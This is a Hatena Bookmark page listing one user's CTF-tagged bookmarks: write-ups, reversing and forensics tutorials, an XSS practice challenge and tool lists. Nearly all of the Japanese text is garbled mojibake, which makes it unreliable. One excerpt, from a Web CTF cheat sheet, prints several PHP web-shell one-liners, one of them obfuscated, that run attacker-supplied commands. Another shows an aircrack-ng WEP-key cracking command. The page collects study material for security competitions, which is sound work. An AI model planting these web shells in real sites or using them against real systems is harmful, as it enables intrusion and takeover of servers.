[B! CTF] ionisã®ãƒ–ãƒƒã‚¯ãƒžãƒ¼ã‚¯

ionis id:ionis

CTFã«é–¢ã™ã‚‹ionisã®ãƒ–ãƒƒã‚¯ãƒžãƒ¼ã‚¯ (105)

${{author_name}}$

{{{comment_expanded}}}

{{label}}

{{#is_bookmark}}ãƒªã‚¹ãƒˆ{{/is_bookmark}}{{^is_bookmark}}ãƒªãƒ³ã‚¯{{/is_bookmark}}

${{author_name}}$
{{author_name}}{{created}}
{{ #comment }}{{ comment }}{{ /comment }}
- {{ label }}

${{author_name}}$

{{{comment_expanded}}}

{{label}}

{{#is_bookmark}}ãƒªã‚¹ãƒˆ{{/is_bookmark}}{{^is_bookmark}}ãƒªãƒ³ã‚¯{{/is_bookmark}}

flaws2.cloudã®Writeupã‚’æ›¸ã„ãŸã‚ˆï¼ - ã¨ã‚ã‚‹è¨ºæ–å“¡ã®å‚™å¿˜éŒ²
çš†ã•ã‚“ä»Šæ—¥ã¯ï¼ ä»Šå¹´ã®å¤ã¯æ—¥æœ¬ã«ã„ã‚‹ã®ã§ã€TLã«æµã‚Œã¦ãã‚‹ãƒ©ã‚¹ãƒ™ã‚¬ã‚¹ã§æ¥½ã—ã‚“ã§ã„ã‚‹ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ã‚¯ãƒ©ã‚¹ã‚¿ã®å‹äººé”ã®ã¤ã¶ã‚„ãã‚’ã†ã‚‰ã‚„ã¾ã—ã’ã«çœºã‚ã¦ã„ã‚‹ã¨ã‚ã‚‹è¨ºæ–å“¡ã§ã™ã€‚ è‰²ã€…å¿™ã—ãã¦ã€ã‚ã¡ã‚ƒãã¡ã‚ƒä¹…ã€…ã®ãƒ–ãƒã‚°æ›´æ–°ã«ãªã£ã¦ã—ã¾ã„ã¾ã—ãŸâ€¦ã€‚ ã‚‚ã†éšåˆ†å‰ã«ãªã£ã¡ã‚ƒã„ã¾ã™ãŒã€ä»Šå¹´3æœˆã«é–‹å‚¬ã—ãŸJAWS DAYS 2019ã«ã¦ã€ä»²ã®è‰¯ã„Pentesterã®æœ‰å¿—ã«ã¦ã€AWSã®èªè¨¼æƒ…å ±ã«å¯¾ã™ã‚‹æ”»æ’ƒæ‰‹æ³•ã‚„é˜²å¾¡ç–ãªã©ã«é–¢ã™ã‚‹ã‚»ãƒƒã‚·ãƒ§ãƒ³è¡Œã„ã¾ã—ãŸã€‚ è¿‘å¹´æ—¥æœ¬ã§ã‚‚AWSã‚’åˆ©ç”¨ã—ã¦ã„ã‚‹ç’°å¢ƒã¯éžå¸¸ã«å¤šãã€å€‹äººçš„ã«ã‚‚è¨ºæ–å¯¾è±¡ã¨ã—ã¦AWSã‚’ç›¸æ‰‹ã«ã™ã‚‹æ©Ÿä¼šãŒå¤šã‹ã£ãŸãŸã‚ã€ã¡ã‚‡ã£ã¨å‰ã‹ã‚‰æœ‰å¿—ã¨ä¸€ç·’ã«AWSã®ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ã‚„æ”»æ’ƒæ‰‹æ³•ãªã©ã«ã¤ã„ã¦èª¿æŸ»ã‚’ã—ã¦ã„ã¾ã—ãŸã€‚ èª¿æŸ»ã—ã¦è‰²ã€…å¦ã‚“ã ã“ã¨ã‚’ã¾ã¨ã‚ã¦ç™ºè¡¨ã—ãŸã®ãŒã“ã¡ã‚‰ã®ã‚¹ãƒ©ã‚¤ãƒ‰ã«ãªã‚Šã¾ã™ã®ã§ã€å®œã—ã‘ã‚Œã°æ˜¯éžã”è¦§ãã ã•ã„ã€‚ PenTesterãŒçŸ¥ã£ã¦ã„ã‚‹å±ãªã„AWSç’°å¢ƒã®å…±é€šç‚¹ ã•ã¦ã€
ionis 2019/09/23
AWS

writeup

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

CTF
ãƒªãƒ³ã‚¯
GitHub - w181496/Web-CTF-Cheatsheet: Web CTF CheatSheet ðŸˆ
<?php system($_GET["cmd"]); ?> <?php system($_GET[1]); ?> <?php system("`$_GET[1]`"); ?> <?= system($_GET[cmd]); <?=`$_GET[1]`; <?php eval($_POST[cmd]);?> <?php echo `$_GET[1]`; <?php echo passthru($_GET['cmd']); <?php echo shell_exec($_GET['cmd']); <?php eval(str_rot13('riny($_CBFG[cntr]);'));?> <script language="php">system("id"); </script> <?php $_GET['a']($_GET['b']); ?> // a=system&b=ls // a=
ionis 2019/07/19
ã‚ã¨ã§èªã‚€

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

CTF

ã¾ã¨ã‚

Web

CheatSheet
ãƒªãƒ³ã‚¯
2019å¹´ã®pwnå•ã‚’å…¨éƒ¨è§£ããƒãƒ£ãƒ¬ãƒ³ã‚¸ã€å‰åŠæˆ¦ã€‘ - CTFã™ã‚‹ãž
å¾ŒåŠæˆ¦ï¼š 2019å¹´ã®pwnå•ã‚’å…¨éƒ¨è§£ããƒãƒ£ãƒ¬ãƒ³ã‚¸ã€å¾ŒåŠæˆ¦ã€‘ - CTFã™ã‚‹ãž ã¾ãˆãŒã (2019å¹´3æœˆè¨˜) æœ€è¿‘CTFã«å‡ºã‚‹ã¨ãã“ãã“è‰¯ã„æˆç¸¾ãŒæ®‹ã›ã‚‹ä¸€æ–¹ï¼Œãƒãƒ¼ãƒ ã®pwnæ‹…å½“ã¨ã—ã¦å®ŸåŠ›ä¸è¶³ã‚’æ„Ÿã˜ã¦ã„ã¾ã™ï¼Ž ãã“ã§ï¼Œpwnè‹¦æ‰‹æ„è˜ã‚’å…‹æœã™ã¹ãæœ¬æ—¥2019å¹´3æœˆ13æ—¥ã‹ã‚‰ï¼Œ2019å¹´1æœˆ1æ—¥ã‹ã‚‰2019å¹´12æœˆ31æ—¥ã¾ã§ã«å‡ºé¡Œã•ã‚Œã‚‹pwnå•ã‚’å…¨ã¦è§£ã„ã¦writeupã‚’æ›¸ãã“ã¨ã«ã—ã¾ã—ãŸï¼Ž é€±2ç¨‹åº¦ã§CTFãŒã‚ã£ã¦ï¼Œå„CTFã«3å•ãã‚‰ã„pwnãŒã‚ã‚‹ã‚¤ãƒ¡ãƒ¼ã‚¸ãªã®ã§ï¼Œä»Šã‹ã‚‰ã‚³ãƒ„ã‚³ãƒ„ã‚„ã‚Œã°æ¥å¹´ã®1æœˆã«ã¯è¨˜äº‹ãŒå‡ºæ¥ä¸ŠãŒã£ã¦ã‚‹ã‚“ã˜ã‚ƒãªã„ã‹ãªãƒ¼ã¨æ€ã„ã¾ã™ï¼Ž è¿½è¨˜(2019å¹´5æœˆ8æ—¥è¨˜) æ€ã£ãŸä»¥ä¸Šã«é‡ãŒå¤šã„ã®ã§å‰åŠã¨å¾ŒåŠã«åˆ†ã‘ã¾ã™ã€‚å‰åŠã¯7æœˆä¸Šæ—¬ã€å¾ŒåŠã¯æ¥å¹´ã®1æœˆä¸Šæ—¬ã«æŠ•ç¨¿ã™ã‚‹ã¤ã‚‚ã‚Šã§ã™ã€‚ ã»ã¼åˆå¿ƒè€…ã®çŠ¶æ…‹ã‹ã‚‰å§‹ã‚ãŸã®ã§ã€è§£èª¬ãƒŸã‚¹ã¨ã‹ã‚ã‚Œã°æ˜¯éžã‚³ãƒ¡ãƒ³ãƒˆã‹Twitterã§ã”é€£çµ¡ãã ã•ã„m(_ _)m ã¾ãˆ
ionis 2019/07/19
ã‚ã¨ã§èªã‚€

CTF

writeup

ãƒã‚¤ãƒŠãƒª
ãƒªãƒ³ã‚¯
Ghidra Tutorial + CTFãƒ»è„†å¼±æ€§è¨ºæ– è¶…å…¥é–€ Reversingâ‘ - æ ªå¼ä¼šç¤¾Ninjastars æŠ€è¡“ç³»ãƒ–ãƒã‚°
æ ªå¼ä¼šç¤¾Ninjastars ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ã‚¨ãƒ³ã‚¸ãƒ‹ã‚¢:ä¸€ç€¬å¥äºŒéƒŽ ä»Šå›žã®è¨˜äº‹ã§ã¯å¼Šç¤¾ã§è¡Œã£ã¦ã„ã‚‹ãƒªãƒãƒ¼ã‚¹ã‚¨ãƒ³ã‚¸ãƒ‹ã‚¢ãƒªãƒ³ã‚°æŠ€è¡“ã®æ•™è‚²è³‡æ–™ã‚’å…¬é–‹ã—ã¦ã„ã¾ã™ã€‚ Reversingç·¨ã§ã¯CTFã‚„è„†å¼±æ€§è¨ºæ–ã«ãŠã„ã¦ã®ãƒªãƒãƒ¼ã‚·ãƒ³ã‚°æŠ€è¡“ã®åŸºæœ¬ã‚’ãŠæ•™ãˆã§ãã‚Œã°ã¨æ€ã„ã¾ã™ã€‚ ã¾ãŸGhidraã®ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ã¨ã—ã¦ã‚‚åˆ©ç”¨ã§ãã‚‹ã‚ˆã†ã«ã—ã¦ãŠã‚Šã¾ã™ã€‚ Ghidraã«ã¤ã„ã¦ã¯ã“ã¡ã‚‰ã‚’ã”å‚ç…§ãã ã•ã„ã€‚ NSA ç±³å›½å›½å®¶å®‰å…¨ä¿éšœå±€ ãƒªãƒãƒ¼ã‚¹ã‚¨ãƒ³ã‚¸ãƒ‹ã‚¢ãƒªãƒ³ã‚°ãƒ„ãƒ¼ãƒ« Ghidraã‚’ä½¿ã† - æ ªå¼ä¼šç¤¾Ninjastars æŠ€è¡“ç ”ç©¶éƒ¨ å‚è€ƒå•é¡Œé›† ä»Šå›žã¯eagle0wlæ°ã®crackmeã‚·ãƒªãƒ¼ã‚ºã®crkme01ã¨ã„ã†å•é¡Œã‚’ä½¿ç”¨ã—ã¾ã™ã€‚ ãƒªãƒ³ã‚¯å…ˆã‹ã‚‰eagle0wl's crackme VOL.01 ver1.02ã‚’ã‚¯ãƒªãƒƒã‚¯ã—ã¦ãƒ€ã‚¦ãƒ³ãƒãƒ¼ãƒ‰ã—ã¦ãã ã•ã„ã€‚ ã“ã®ã‚·ãƒªãƒ¼ã‚ºã¯é †ã‚’è¿½ã£ã¦Reversingã«ã¤ã„ã¦å¦ã¶ã“ã¨ãŒã§ãã€éžå¸¸ã«å‚
ionis 2019/07/19
ã‚ã¨ã§èªã‚€

ã‚¢ã‚»ãƒ³ãƒ–ãƒ©

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

Ghidra

CTF
ãƒªãƒ³ã‚¯
Day-1ã€€ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£æŠ€è¡“å‹‰å¼·ä¼šè³‡æ–™ â€“ ä»™å°CTFæŽ¨é€²ãƒ—ãƒã‚¸ã‚§ã‚¯ãƒˆ
9æœˆ8æ—¥ï¼ˆåœŸï¼‰ã«é–‹å‚¬ã—ã¾ã—ãŸã€Œä»™å°CTF2018 Day-1ã€€ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£æŠ€è¡“å‹‰å¼·ä¼šã€ã®è³‡æ–™ã‚’ä»¥ä¸‹ã®ã¨ãŠã‚Šã€å…¬é–‹ã„ãŸã—ã¾ã™ã€‚ è¬›ç¾©è³‡æ–™ã€€ãƒžãƒ«ã‚¦ã‚§ã‚¢æ„ŸæŸ“å¯¾å¿œåŸºç¤Žç·¨ ã‚¦ã‚¤ãƒ«ã‚¹æ¤œçŸ¥ã‚¢ãƒ©ãƒ¼ãƒˆã¨ã‚¿ã‚¤ãƒ ãƒ©ã‚¤ãƒ³è§£æžã‹ã‚‰æ„ŸæŸ“çµŒç·¯ã‚’èªã¿è§£ãæ–¹æ³•ã€€ï¼ˆpdfãƒ•ã‚¡ã‚¤ãƒ«ã€€ç´„4MBï¼‰ â€»2024.12.23ã€€èª¤è¨˜è¨‚æ£ã«ã‚ˆã‚Šã€å·®æ›¿ãˆ åˆ¥ç´™ï¼‘ å®Ÿç¿’è³‡æ–™ ã‚¿ã‚¤ãƒ ãƒ©ã‚¤ãƒ³è§£æžã«ã‚ˆã‚‹ãƒžãƒ«ã‚¦ã‚§ã‚¢æ„ŸæŸ“åŽŸå› ã®ç‰¹å®šï¼ˆpdfãƒ•ã‚¡ã‚¤ãƒ«ã€€ç´„900KBï¼‰ åˆ¥ç´™ï¼’ã€€æ¼”ç¿’è³‡æ–™ ãƒ»ã‚µã‚¤ãƒãƒ¼é˜²å¾¡æ¼”ç¿’ã€€èª¬æ˜Žè³‡æ–™ï¼ˆpdfãƒ•ã‚¡ã‚¤ãƒ«ã€€ç´„150KBï¼‰ ãƒ»ã‚µã‚¤ãƒãƒ¼é˜²å¾¡æ¼”ç¿’ã€€ã‚·ãƒŠãƒªã‚ªï¼ˆpdfãƒ•ã‚¡ã‚¤ãƒ«ã€€ç´„70KBï¼‰ ãƒ»ã‚µã‚¤ãƒãƒ¼é˜²å¾¡æ¼”ç¿’ã€€ã‚¤ãƒ™ãƒ³ãƒˆã‚·ãƒ¼ãƒˆï¼ˆpdfãƒ•ã‚¡ã‚¤ãƒ«ã€€ç´„160KBï¼‰ ãƒ»ã‚µã‚¤ãƒãƒ¼é˜²å¾¡æ¼”ç¿’ã€€å¯¾å¿œè¨˜éŒ²æ§˜å¼ï¼ˆpdfãƒ•ã‚¡ã‚¤ãƒ«ã€€ç´„10KBï¼‰
ionis 2019/06/19
ã‚ã¨ã§èªã‚€

CTF

å‹‰å¼·

ãƒ•ã‚©ãƒ¬ãƒ³ã‚¸ãƒƒã‚¯

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

USB

è§£æž
ãƒªãƒ³ã‚¯
Beginners CTF 2019 ã® write-up
2019-05-26 [ctf] Beginners CTF 2019 ã® write-up 5 æœˆ 25 æ—¥ã‹ã‚‰ 5 æœˆ 26 æ—¥ã«ã‹ã‘ã¦é–‹å‚¬ã•ã‚ŒãŸ Beginners CTF 2019 ã«ã€ãƒãƒ¼ãƒ zer0pts ã¨ã—ã¦å‚åŠ ã—ã¾ã—ãŸã€‚æœ€çµ‚çš„ã«ãƒãƒ¼ãƒ ã§ 5477 ç‚¹ã‚’ç²å¾—ã—ã€é †ä½ã¯å¾—ç‚¹ 666 ãƒãƒ¼ãƒ ä¸ 1 ä½ã§ã—ãŸã€‚ã†ã¡ã€ç§ã¯ 9 å•ã‚’è§£ã„ã¦ 2295 ç‚¹ã‚’å…¥ã‚Œã¾ã—ãŸã€‚ ä»–ã®ãƒ¡ãƒ³ãƒãƒ¼ã® write-up ã¯ã“ã¡ã‚‰ã€‚ SECCON Beginners CTF 2019 writeup - ãµã‚‹ã¤ã SECCON Beginners CTF 2019ã®Writeup - CTFã™ã‚‹ãž SECCON Beginners CTF 2019 Writeup - yoshikingã®ãŒã‚“ã°ã‚‹æ—¥è¨˜ ä»¥ä¸‹ã€ç§ãŒè§£ã„ãŸå•é¡Œã® write-up ã§ã™ã€‚ Misc containers (71) Letâ€™s
ionis 2019/05/31
ã‚ã¨ã§èªã‚€

CTF

writeup
ãƒªãƒ³ã‚¯
TSG CTF ã® write-up
2019-05-05 [ctf] TSG CTF ã® write-up 5 æœˆ 4 æ—¥ã‹ã‚‰ 5 æœˆ 5 æ—¥ã«ã‹ã‘ã¦é–‹å‚¬ã•ã‚ŒãŸ TSG CTF ã«ã€ãƒãƒ¼ãƒ Harekaze ã¨ã—ã¦å‚åŠ ã—ã¾ã—ãŸã€‚æœ€çµ‚çš„ã«ãƒãƒ¼ãƒ ã§ 2851 ç‚¹ã‚’ç²å¾—ã—ã€é †ä½ã¯å¾—ç‚¹ 410 ãƒãƒ¼ãƒ ä¸ 6 ä½ã§ã—ãŸã€‚ã†ã¡ã€ç§ã¯ 5 å•ã‚’è§£ã„ã¦ 1267 ç‚¹ã‚’å…¥ã‚Œã¾ã—ãŸã€‚ ä»¥ä¸‹ã€ç§ãŒè§£ã„ãŸå•é¡Œã® write-up ã§ã™ã€‚ Forensics Obl iterated File (92) â€» This probl em has unintended solution, fixed as â€œObl iterated File Againâ€. Original probl em statement is below. Working on making a probl em of TSG CTF, I noticed that I have sta
ionis 2019/05/28
CTF

writeup

XS-Search

XSS-Auditor
ãƒªãƒ³ã‚¯
Magnet User Summit CTF, Defcon DFIR CTF 2018 writeup - yasulib memo
æœ€è¿‘ã€DFIRç³»ã®CTFã«2ã¤å‚åŠ ã—ãŸã®ã§ãã®ç´¹ä»‹ã¨å…¨ä½“åƒã«å¯¾ã™ã‚‹writeupã§ã™ã€‚ ä¸€èˆ¬çš„ãªCTFã«ãŠã‘ã‚‹Forensicsã®ã‚¸ãƒ£ãƒ³ãƒ«ã®å•é¡Œã¨è¨€ãˆã°ã€1ã¤ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’æ¸¡ã•ã‚Œã¦ãã®ä¸ã«ã‚ã‚‹ãƒ•ãƒ©ã‚°ã‚’æŽ¢ã™ã¨ã„ã†å½¢å¼ãŒå¤šã„ã‹ã¨æ€ã„ã¾ã™ã€‚ ä»Šå›žã€ç´¹ä»‹ã™ã‚‹2ã¤ã®CTFã¯å¤§ããª(10GBä»¥ä¸Šã®)ã‚¤ãƒ¡ãƒ¼ã‚¸ãƒ•ã‚¡ã‚¤ãƒ«ãŒæ•°å°åˆ†æä¾›ã•ã‚Œã¾ã™ã€‚ãã‚Œã‚‰ã‚’è§£æžã—ã¦å„å•é¡Œæ–‡ã®å†…å®¹ã«å›žç”ã™ã‚‹ã¨ã„ã£ãŸæ„Ÿã˜ã§ã™ã€‚å•é¡Œä¾‹ã¯æ¬¡ã®ã‚ˆã†ãªæ„Ÿã˜ã§ã™ã€‚ å•é¡Œä¾‹ï¼šæ”»æ’ƒè€…ãŒæœ€åˆã«ã‚·ã‚¹ãƒ†ãƒ ã«ãƒã‚°ã‚ªãƒ³ã—ãŸã®ã¯ã„ã¤ã‹ï¼Ÿ UTCæ™‚é–“ã§ YYYY-MM-DD hh:mm:ss ã¨ã„ã†å½¢å¼ã§ç”ãˆã‚ã€‚ å•é¡Œä¾‹ã‹ã‚‰ã‚‚åˆ†ã‹ã‚‹é€šã‚Šã€ãƒ•ãƒ©ã‚°ã¯MyCTF{663d63e8c755f1b4}ã®ã‚ˆã†ãªå½¢ã§ã¯ãªã„ã§ã™ã€‚ãã®ãŸã‚ã€ä¸€èˆ¬çš„ãªCTFã¨ã¯è‹¥å¹²æ¯›è‰²ãŒç•°ãªã‚Šã¾ã™ã€‚ ãã‚Œã§ã¯2ã¤ã®CTFã®ç´¹ä»‹ã§ã™ã€‚ CTFç´¹ä»‹ Magnet User Summit CTF ç´¹ä»‹ãƒšãƒ¼
ionis 2019/02/18
CTF

writeup

DFIR
ãƒªãƒ³ã‚¯
XSS Challenge (ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ãƒ»ãƒŸãƒ‹ã‚ãƒ£ãƒ³ãƒ— in å²¡å±± 2018 æ¼”ç¿’ã‚³ãƒ³ãƒ†ãƒ³ãƒ„) Writeup - Szarny.io
ã¯ã˜ã‚ã« Writeup Case 01: Simple XSS 1 è§£ç” Case 02: Simple XSS 2 è§£ç” Case 03: With htmlspecialchars() è§£ç” Case 04-1: Without any backquotes and HTML tags è§£ç” Case 04-2: Without any backquotes, HTML tags and [ux] è§£ç” Case 05: Without any alphabets è§£ç” Case 06-1: Without any paretheses è§£ç” Case 06-2: Without any parentheses and [oO][nN] è§£ç” Case 06-3: Without any paretheses and .[oO].[nN].* è§£ç” Case 06-4: Withou
ionis 2019/01/31
XSS

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

writeup

CTF
ãƒªãƒ³ã‚¯
InterKosenCTF writeup - ãµã‚‹ã¤ã
å…¬å¼writeupã¨ã„ã†ã»ã©å¤§ä»°ãªã‚‚ã®ã§ã¯ãªã„ã§ã™ã€‚ã©ã¡ã‚‰ã‹ã¨ã„ãˆã°ä½œå•æŒ¯ã‚Šè¿”ã‚Šã§ã€è‡ªåˆ†èªžã‚Šã«è©²å½“ã™ã‚‹ã‚„ã¤ãªã®ã§ã€ã¡ã‚ƒã‚“ã¨ã—ãŸwriteupã¯å‚åŠ è€…ã®çš†ã•ã‚“ã®ã‚‚ã®ã‚’æŽ¢ã—ã¦ãã ã•ã„ã€‚è¦‹ã¤ã‘æ¬¡ç¬¬ã“ã®ã‚¨ãƒ³ãƒˆãƒªã§ã‚‚ãƒªãƒ³ã‚¯ã‚’è²¼ã‚ŠãŸã„ã¨ã¯æ€ã£ã¦ã„ã¾ã™ã€‚ ã‚ã¨ã“ã“ã«writeupæ›¸ã„ã¦ãªã„ã®ã¯ãƒãƒ¼ãƒ ãƒ¡ã‚¤ãƒˆãŒä»–ã«æ›¸ãã¯ãšã€‚ ã‚ã‚ã›ã¦ã‚ˆã¿ãŸã„ furutsuki.hatena blog.com bitbucket.org [Cheat 150pts]spaceshipã®writeup thrust2799.hatena blog.jp åƒ•ã®è¨˜äº‹ãªã‚“ã¦ã©ã†ã§ã‚‚è‰¯ã„ã®ã§ã“ã‚Œã‚’èªã‚“ã§ï¼ ptr-yudai.hatena blog.com [Web 100pts] Gimme Chocolate -- 21 solves [Web 200pts] Secure Session -- 7 solves Web[250pts
ionis 2019/01/21
CTF

writeup

InterKosenCTF

é«˜å°‚
ãƒªãƒ³ã‚¯
XSS Challenge (by y0n3uchy)
Introduction ã“ã‚Œã¯ ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ãƒ»ãƒŸãƒ‹ã‚ãƒ£ãƒ³ãƒ— in å²¡å±± 2018 ã§æ¼”ç¿’ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã¨ã—ã¦ä½¿ç”¨ã•ã‚ŒãŸ, *åˆå¦è€…å‘ã‘* ã® XSS Challenge ã§ã™ã€‚ alert('XSS') ã¨ alert(document.domain) ã® 2 ã¤ã‚’, å„ãƒšãƒ¼ã‚¸ã§å®Ÿè¡Œã—ã¦ãã ã•ã„ã€‚ãŸã ã— document.domain == xss.shift-js.info ã¨ãªã‚‹ã‚ˆã†ã«ã—ã¾ã—ã‚‡ã†ã€‚ç‰¹æ®µã®æŒ‡ç¤ºãŒãªã„é™ã‚Š, å¤šãã®å•é¡Œã§ã¯, ãƒ¦ãƒ¼ã‚¶ãƒ¼æ“ä½œã‚’å¿…è¦ã¨ã™ã‚‹ã‚‚ã®(e.g. onclick)ã§ã‚‚æ§‹ã„ã¾ã›ã‚“ã€‚ CTF ã¨é•ã„, ç‰¹ã« alert ãŒç”Ÿã˜ã¦ã‚‚ FLAG ãŒè¡¨ç¤ºã•ã‚ŒãŸã‚Šã—ã¾ã›ã‚“ãŒ, alert('XSS') ã¨ alert(document.domain) ãŒæ£ã—ãå®Ÿè¡Œã•ã‚Œã‚‹ã¨, "You win! :-)" ã¨ã ã‘è¡¨ç¤ºã•ã‚Œã¾ã™ã€‚alert ã‚’å‡ºã—ã¦æ¥½ã—ã¿ã¾ã—ã‚‡ã†ã€‚ã¾ãŸ pu
ionis 2019/01/16
CTFã§ã¯ãªã„ã‘ã©ã€XSSã®å‹‰å¼·ã«

CTF

XSS

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

å…¥é–€
ãƒªãƒ³ã‚¯
CTFã§å½¹ç«‹ã¡ãã†ãªãƒ„ãƒ¼ãƒ«ã®ä¸€è¦§ Windowsç·¨ - ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ã“ãã“ã
CTFã§å•é¡Œã‚’è§£ããŸã‚ã«ä½¿ãˆã‚‹ã‹ã‚‚ã—ã‚Œãªã„ãƒ„ãƒ¼ãƒ«ã¨ã‚µãƒ¼ãƒ“ã‚¹ã‚’3å›žã«åˆ†ã‘ã¦ç´¹ä»‹ã—ã¾ã™ã€‚ç¬¬1å›žã¯Windowsç·¨ã§ã™ã€‚è‡ªèº«ã§æœªå°Žå…¥ã®ã‚‚ã®ã‚’å«ã¿ã€ä¸æ£ç¢ºãªéƒ¨åˆ†ã‚‚ã‚ã‚‹ã‹ã‚‚ã—ã‚Œã¾ã›ã‚“ãŒã€ã”å‚è€ƒã¾ã§ã€‚ Network Wireshark .pcapã¨.pcapngã®ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ãƒ‘ã‚±ãƒƒãƒˆã‚’è§£æž HTTPSé€šä¿¡ã®è¤‡åˆ ç§˜å¯†éµã‚’[è¨å®š]-[Protocols]-[SSL]-[RSA keys list]ã‹ã‚‰ä»¥ä¸‹ã®ã¨ãŠã‚ŠæŒ‡å®š IP addressï¼šã‚µãƒ¼ãƒã®IPã‚¢ãƒ‰ãƒ¬ã‚¹ Portï¼šã‚µãƒ¼ãƒã®ãƒãƒ¼ãƒˆç•ªå· Protocolï¼šhttp Key Fileï¼šç§˜å¯†éµãƒ•ã‚¡ã‚¤ãƒ« å³ã‚¯ãƒªãƒƒã‚¯â†’è¿½è·¡â†’SSL Stream ã§æš—å·åŒ–ã•ã‚ŒãŸé€šä¿¡ã®ä¸èº«ã‚’å‚ç…§ ç„¡ç·šé€šä¿¡ã®è¤‡åˆ Aircrack-ngã§ç„¡ç·šã®ãƒ‘ã‚±ãƒƒãƒˆã‹ã‚‰WEPã‚ãƒ¼ã‚’å‰²ã‚Šå‡ºã™ > aircrack-ng victim.cap Wiresharkã§è¤‡åˆã™ã‚‹ 1.[ç·¨é›†]-[è¨å®š]
ionis 2019/01/15
CTF

ãƒ„ãƒ¼ãƒ«

ã¾ã¨ã‚
ãƒªãƒ³ã‚¯
Booting up evidence E01 image using free tools (FTK Imager & Virtualbox)
ionis 2019/01/07
CTF

writeup

ã¾ã¨ã‚
ãƒªãƒ³ã‚¯
ã€2018å¹´ã€‘CTF Webå•é¡Œã®writeupãœã‚“ã¶èªã‚€ - ã“ã‚“ã¨ã‚ãƒ¼ã‚‹ã—ãƒ¼ã“ã‚“ã¨ã‚ãƒ¼ã‚‹ã¶ã„
CTF Advent Calendar 2018 - Adventarã®16æ—¥ç›®ã®è¨˜äº‹ã§ã™ã€‚ 15æ—¥ç›®ã¯@_N4NU_ã•ã‚“ã®ã€Œã©ã®CTFã«å‡ºãŸã‚‰ã„ã„ã‹åˆ†ã‹ã‚‰ãªã„äººã®ãŸã‚ã®CTFä¸€è¦§ (2018å¹´ç‰ˆ) - WTF!?ã€ã§ã—ãŸã€‚ ã¯ã˜ã‚ã« ãªã«ã”ã¨ã‚‚æŒ¯ã‚Šè¿”ã‚Šã¨å¾©ç¿’ãŒå¤§äº‹ã§ã™ã€‚ ã¾ã å¹´æœ«ã¾ã§åŠæœˆã»ã©ã‚ã‚Šã¾ã™ãŒã€Advent Calendarã«åˆã‚ã›ã¦ã€ä¸€è¶³æ—©ã2018å¹´ã®CTFã‚¤ãƒ™ãƒ³ãƒˆã§å‡ºé¡Œã•ã‚ŒãŸå•é¡Œã‚’æŒ¯ã‚Šè¿”ã‚Šã¾ã™ã€‚Webå•é¡Œã‚’å¯¾è±¡ã«writeupã‚’å…¨éƒ¨èªã‚“ã§ã€ä½¿ç”¨ã•ã‚ŒãŸæ”»æ’ƒæ‰‹æ³•ã‚’é›†è¨ˆã—ã¦ãƒ©ãƒ³ã‚¯ä»˜ã‘ã™ã‚‹ã¨ã¨ã‚‚ã«ã€å„æ”»æ’ƒæ‰‹æ³•ã‚’ä½¿ç”¨ã—ãŸwriteupã‚’ãƒ”ãƒƒã‚¯ã‚¢ãƒƒãƒ—ã—ã¦ç´¹ä»‹ã—ã¦ã„ãã¾ã™ã€‚ CTFã‚¤ãƒ™ãƒ³ãƒˆã«å‚æˆ¦ã—ãŸäººã¯ã€Œã‚ãƒ¼ã€ãã‚“ãªå•é¡Œã‚ã£ãŸããƒ¼ã€ã¨æŒ¯ã‚Šè¿”ã£ã¦é ‚ã‘ã‚Œã°ã¨æ€ã„ã¾ã™ã—ã€æœªå‚æˆ¦ã®äººã¯ã€Œã¸ã‡ã€ãã‚“ãªæ”»æ’ƒæ‰‹æ³•ã‚ã‚‹ã‚“ã ãªããƒ¼ã€ã¨æ„Ÿã˜ã¦é ‚ã‘ã‚Œã°ã¨æ€ã„ã¾ã™ã€‚ é›†è¨ˆå¯¾è±¡ é›†è¨ˆå¯¾è±¡ã®ã‚¤ãƒ™ãƒ³ãƒˆã¨å•é¡Œã¯ä»¥ä¸‹ã®ã¨
ionis 2018/12/27
ã‚ã¨ã§èªã‚€

writeup

CTF

ã¾ã¨ã‚

Advent Calendar
ãƒªãƒ³ã‚¯
CTF Advent Calendar 2018 - Adventar
CODE BLUE CTF 2018 Finalsã®å•é¡Œã‚’å…¬é–‹ã—ã¾ã™(writeupã¯12/25ã«ã‚„ã‚Šã¾ã™)ã€‚ãƒ«ãƒ¼ãƒ«ã®å½¢å¼ä¸Šæ™‚é–“ã‚’æ¸¬ã£ã¦è§£ãã¨virtual contestãŒå‡ºæ¥ã¾ã™ã€‚
ionis 2018/12/27
CTF

Advent Calendar

ã¾ã¨ã‚
ãƒªãƒ³ã‚¯
MortAl mage aGEnts write-up.md Â· GitHub
ionis 2018/12/27
writeup

CTF

advent calendar

mage
ãƒªãƒ³ã‚¯
CODE BLUE CTF 2018 Qualsã§å‡ºã—ãŸå•é¡Œã®è©± - ã—ã‚ƒã‚ã®æ—¥è¨˜
ionis 2018/08/08
ä½œå•è€…ã«ã‚ˆã‚‹è§£èª¬

ruby

CTF

writeup
ãƒªãƒ³ã‚¯
CTFtime.org / Meepwn CTF Quals 2018 / Grandline / Writeup
ionis 2018/07/17
CTF

writeup

Meepwn

CSS injection

RPO

XSS
ãƒªãƒ³ã‚¯
135924
